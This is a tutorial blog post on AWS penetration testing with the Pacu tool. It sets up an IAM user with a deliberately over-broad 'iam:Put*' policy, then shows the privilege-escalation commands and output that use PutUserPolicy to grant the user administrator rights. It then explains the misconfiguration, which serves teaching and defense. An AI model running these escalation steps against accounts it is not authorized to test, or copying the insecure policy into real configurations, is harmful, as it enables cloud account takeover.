Intro to AWS Pentesting (with Pacu)

Intro to AWS Pentesting with Pacu

In this article, you’re going to learn how to hack AWS cloud environments so that you can find exploitable vulnerabilities in your own AWS accounts or for your clients as a pentester. I’m going to show you step-by-step how to use an open-source offensive security tool so that you can follow along with me.

As a disclaimer, this is meant for educational purposes only and to teach you how to secure your own AWS environments or your clients’ environments so that you prevent threat actors from doing it first. The techniques I’m showing you here are all ethically used, with explicit permissions, and following AWS ToS, which is should the only way that you should be using them as well. AWS does not allow all types of pentesting, so it’s important to understand what is and isn’t allowed if you plan on branching out away from what’s shown in this post.

With that, let’s proceed.

By the way, if you prefer watching videos instead of reading, then here you go:

Our mission today is to use an open-source tool called Pacu to gain access to an AWS environment, and then to run offensive security testing against that cloud environment.

I’ll be attacking my very own AWS environment. If you don’t already have an AWS account, then either pause here and create one and come back, or just follow along, but anyone watching this can do what I’m about to do safely.

Disclaimer #2: I do NOT recommend running this tool against any AWS environments that are running any sort of production resources until you are very comfortable with the tool itself and you fully understand how it works.

Pacu is designed not to be too destructive, but you could still do damage if you’re not careful.

Installing Pacu

So let’s get started by installing Pacu. You’ve got a few options here.

For this video, I’ll use the recommended option which is installed with pip. You could also download it with Git, by downloading a ZIP archive, or even by running it in a Docker container.

The pip installation can work on any system regardless of whether it’s MacOS, Windows, or a Linux distribution, so long as you have pip installed. For the sake of time I won’t show you how to install pip here, as there are plenty of tutorials on that.

PyPi Installation (Recommended)

  1. [Optional] Make sure pip is up to date.
    • pip install -U pip
  2. [Optional] Create a Python virtual environment to install Pacu in.
    • mkdir pacu && cd pacu
    • python3 -m venv venv && source venv/bin/activate
  3. Install Pacu from PyPi
    • pip install -U pacu

Notes that when running ZSH (like on Mac) you may need to run rehash before the pacu command is made available.

We’re then ready to use it!

Using Pacu

In your terminal, simply type pacu

Since this is your first time, you’ll be asked to name your session. If you’ve already run Pacu before, you can resume your sessions or create a new one.

Pacu uses a sqlite database to keep track of sessions which is really helpful if you need to step away and come back later.

It will then show you the help menu with more information about Pacu and who developed it, as well as command information

Generating AWS access keys

For this type of tool to work, you have to have access to some sort of account / permissions. In this post, we’ll be using access keys that have a certain level of permissions. This post is not going to talk about gaining initial access to an account or AWS credentials like this for the sake of time — I’ll reserve that for an upcoming video/post.

If you already have AWS access keys then you can use those, but otherwise, you’ll have to create some in your account. Let’s do that really quickly, and feel free to skip ahead if you don’t need this step.

Pull up IAM from the AWS console and go to Users. We’ll create a new user so that we can give them specific permissions.

Name this user whatever you’d like:

pacu-example

We do not need to provide console access so leave that unchecked.

Normally I’d recommend using groups to provide permissions but this is a throwaway example so we’ll skip that step to save time. Keep your selection to Add user to group

Next, go ahead and Create User

Select your newly created user, and we now need to provide permissions. You’ll automatically be on the Permissions tab, and you’ll see a section named Permissions Policies. Click on Add permissions → Create inline policy.

Switch over to the JSON tab and copy/paste this policy (available in the description below):

{
 "Version": "2012-10-17",
 "Statement": [
  {
   "Sid": "VisualEditor1",
   "Effect": "Allow",
   "Action": "s3:*",
   "Resource": "arn:aws:s3:::cybr-pacu-lab-example"
  },
  {
       "Sid": "Statement1",
       "Effect": "Allow",
       "Action": [
           "iam:Get*",
           "iam:List*",
           "iam:Put*",
           "iam:AttachRolePolicy",
           "iam:SimulateCustomPolicy",
           "iam:SimulatePrincipalPolicy"
       ],
       "Resource": "*"
        }
 ]
}

Code language: JSON / JSON with Comments (json)

This user here is providing access to a specific S3 bucket and its data, but whoever set up these permissions made a massive mistake, which is that they provided this user with very broad IAM permissions as well.

Something like this could easily happen in the real world when someone is moving quickly and copy/pasting other policies or using pre-created policies without:

  1. Understanding what the policy actually does
  2. Without properly testing policies

I have seen stuff like this in production before, this is definitely not an exaggeration.

Go ahead and create this policy and give it a name, like:

pacu-example-policy

Once the policy is created, we need to go back to our prior tab where we were creating the user, refresh the permissions policies, and then search for our new policy.

Then, select it and apply it to the user, and then create the user.

Now that our example user has this policy attached, we need to generate Security Credentials by going to the Users page, clicking on our new user, and going to the Security Credentials tab.

From there, scroll down until you see Access Keys and Create access key.

For this video, our use case will be to access the AWS API via the CLI, so we can select Command Line Interface (CLI).

You’ll get a warning asking you instead to use the AWS CloudShell or AWS CLI V2, but go ahead and click the checkbox confirming you understand and click on Next.

We don’t need to set a description, so click on Create access key.

Adding access keys to Pacu

We now have our AWS access keys, so we need to copy them and put them into Pacu.

Going back to Pacu, type in the command set_keys

It will ask you to create a Key Alias which is optional but it definitely doesn’t hurt. This can be anything you want, it doesn’t matter.

Next, you need to paste your Access key ID

After that you need to paste in your Secret access key

This is the key that you should never give out to anybody else because otherwise they’ll be able to use it to access your AWS environment.

Next we can give it a session token for temp AWS keys, but we don’t need that for this example.

You now have access keys configured for this session, and we can start running some commands as our pacu-example user and its permissions.

Running our first Pacu commands

Let’s run ls which will list all of the modules we have access to through Pacu. What’s great about these modules is that you could even create your own if you wanted to, but these are included for us.

As you can see, we have modules specifically for ESCALATION, EXPLOITATION, EXFILTRATING, PERSISTING, EVADING, RECONNAISANCE, and ENUMERATION

We have access to each of these modules and we can run these, so let’s try some.

Enumerating our user’s permissions

Let’s check to see what sorts of permissions our new AWS user has.

First, type in:

run iam__enum_permissions

Let’s type in whoami to get information about who we are and what we have access to.

Pacu (pacu-test:None) > whoami
{
  "UserName": "pacu-example",
  "RoleName": null,
  "Arn": "arn:aws:iam::272281913033:user/pacu-example",
  "AccountId": "272281913033",
  "UserId": "AIDAT6ZKEI3ETVXIYZDWY",
  "Roles": null,
  "Groups": [],
  "Policies": [
    {
      "PolicyName": "pacu-example-policy",
      "PolicyArn": "arn:aws:iam::272281913033:policy/pacu-example-policy"
    }
  ],
  "AccessKeyId": "AKIAT6ZKEI3EZGN6ND4F",
  "SecretAccessKey": "8qXcQBYtNhH7cIe+vNGF********************",
  "SessionToken": null,
  "KeyAlias": "None",
  "PermissionsConfirmed": true,
  "Permissions": {
    "Allow": {
      "s3:getobjectversionattributes": {
        "Resources": [
          "arn:aws:s3:::cybr-pacu-lab-example"
        ]
      },
      "s3:listmultiregionaccesspoints": {
        "Resources": [
          "arn:aws:s3:::cybr-pacu-lab-example"
        ]
      },
      "s3:deleteobjectversion": {
        "Resources": [
          "arn:aws:s3:::cybr-pacu-lab-example"
        ]
},
[...REDACTED FOR BREVITY...]

Code language: JSON / JSON with Comments (json)

This command can give us some useful information about our current user and can sometimes tell us what permissions we have access to, but sometimes if the user doesn’t have the necessary permissions, you may not get that much information back, and that’s OK.

Executing the Privilege Escalation Operation

Let’s type run iam__privesc_scan to try and see if we have the ability to escalate our privileges:

Pacu (pacu-tst:None) > run iam__privesc_scan
  Running module iam__privesc_scan...
[iam__privesc_scan] No permissions detected yet.
[iam__privesc_scan]   Running module iam__enum_permissions...
[iam__enum_permissions] Confirming permissions for users:
[iam__enum_permissions]   pacu-example...
[iam__enum_permissions]     Confirmed Permissions for pacu-example
[iam__enum_permissions] iam__enum_permissions completed.

[iam__enum_permissions] MODULE SUMMARY:

  Confirmed permissions for user: pacu-example.
  Confirmed permissions for 0 role(s).

**[iam__privesc_scan] Escalation methods for current user:
[iam__privesc_scan]   CONFIRMED: PutGroupPolicy
[iam__privesc_scan]   CONFIRMED: PutUserPolicy**
[iam__privesc_scan] Attempting confirmed privilege escalation methods...

[iam__privesc_scan]   Starting method PutGroupPolicy...

[iam__privesc_scan]     Is there a specific group to target? Enter the name now or just press enter to enumerate a list of possible groups to choose from:
Code language: JSON / JSON with Comments (json)

It will mention that we have escalation methods for the current user of:

  • PutGroupPolicy, and
  • PutUserPolicy

We’ll talk more about this and explain what’s going on in just a moment, but then we see that it says:

Starting method PutGroupPolicy and then, and it’s asking if:

Is there a specific group to target? Enter the name now or just press enter to enumerate a list of possible groups to choose from:

Press Enter because we’re not really interested in using groups, since I already know that there are no interesting groups to try and move our user to:

[iam__privesc_scan] Uncaught error, counting this method as a fail: invalid literal for int() with base 10: ''
[iam__privesc_scan]   Method failed. Trying next potential method...
[iam__privesc_scan]   Starting method PutUserPolicy...

[iam__privesc_scan] Trying to add an administrator policy to the current user...

[iam__privesc_scan]   Successfully added an inline policy named ln1gkq5jop! You should now have administrator permissions.

[iam__privesc_scan] iam__privesc_scan completed.

[iam__privesc_scan] MODULE SUMMARY:

  Privilege escalation was successful
Code language: JSON / JSON with Comments (json)

We then see that it started attempting to PutUserPolicy instead of the group, and it tried to add administrator policy to the current user, and then it successfully added an inline policy.

According to Pacu, it was able to add that inline policy with admin permissions to our user!

Let’s verify this.

Verifying our new admin privileges

We want to type whoami again, but we first need to update permissions with run iam__enum_permissions and then we can run whoami.

Now we see a whole bunch of permissions with full access!

If we were to go back to our AWS Console, and refresh the permissions associated with this user, we would see a new policy that grants all access to all Actions and all Resources.

How is this possible, and how did this work?

OK, how exactly is this possible? I just took a user with quite limited permissions and I made this user an administrative account by just running a couple of commands from an open source tool? What is going on?! Is the cloud not secure?!

The problem lies in the permissions that this user was granted to begin with, and this is going to give you a great example of what misconfiguration in the cloud looks like.

Whoever set up the policy for this pacu user was sloppy (that would be me, ha!)

All we have to do is look at this part of the policy:

{
    "Sid": "Statement1",
    "Effect": "Allow",
    "Action": [
        "iam:Get*",
        "iam:List*",
        "iam:Put*",
        "iam:SimulateCustomPolicy",
        "iam:SimulatePrincipalPolicy"
    ],
    "Resource": "*"
}
Code language: JSON / JSON with Comments (json)

This user has the ability to:

  1. "iam:Get*": which gives us access to all actions that start with the word “Get” (that’s what the asterisk does) which is a ton of actions and that helps us do a lot of enumeration
  2. "iam:Put* : which again gives us access to all actions that start with the word “Put” including PutUserPolicy which “Adds or updates an inline policy document that is embedded in the specified IAM user.” and that’s exactly what we used to perform this privilege escalation…Pacu created an inline admin-level policy, and then used the API call PutUserPolicy that our user has access to thanks to this badly written policy, to attach that new inline policy to my user…

(Reference: https://docs.aws.amazon.com/service-authorization/latest/reference/list_awsidentityandaccessmanagementiam.html)

Understanding IAM is important for both offensive and defensive purposes

As you can see, understanding how IAM policies work in AWS is absolutely critical for both offense and defense because if you want to be a pentester, you have to understand which policies you can leverage when they’re misconfigured, and as a defender, you can’t afford to leave weaknesses like this one or an attacker can compromise your entire environment in literally minutes.

To learn more about AWS security for offense and defense, subscribe to our YouTube channel where I post videos like this. Also check out my Introduction to AWS Security course, and be sure to check out my upcoming AWS security courses which are going to focus on both defense and offense.

We’re even working on launching hands-on labs which will auto-deploy these kinds of environments on your behalf so that you don’t have to pay for anything, you don’t have to worry about leaving behind vulnerabilities in your own environments, and you don’t have to wait for corporate approval to get your lab environments. You can instead focus on learning and developing in-demand cloud security skills. (By the time you’re reading this, Cybr Labs may already be live, so check out our main website)

Thanks and see you next time!

Related Articles

Responses

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.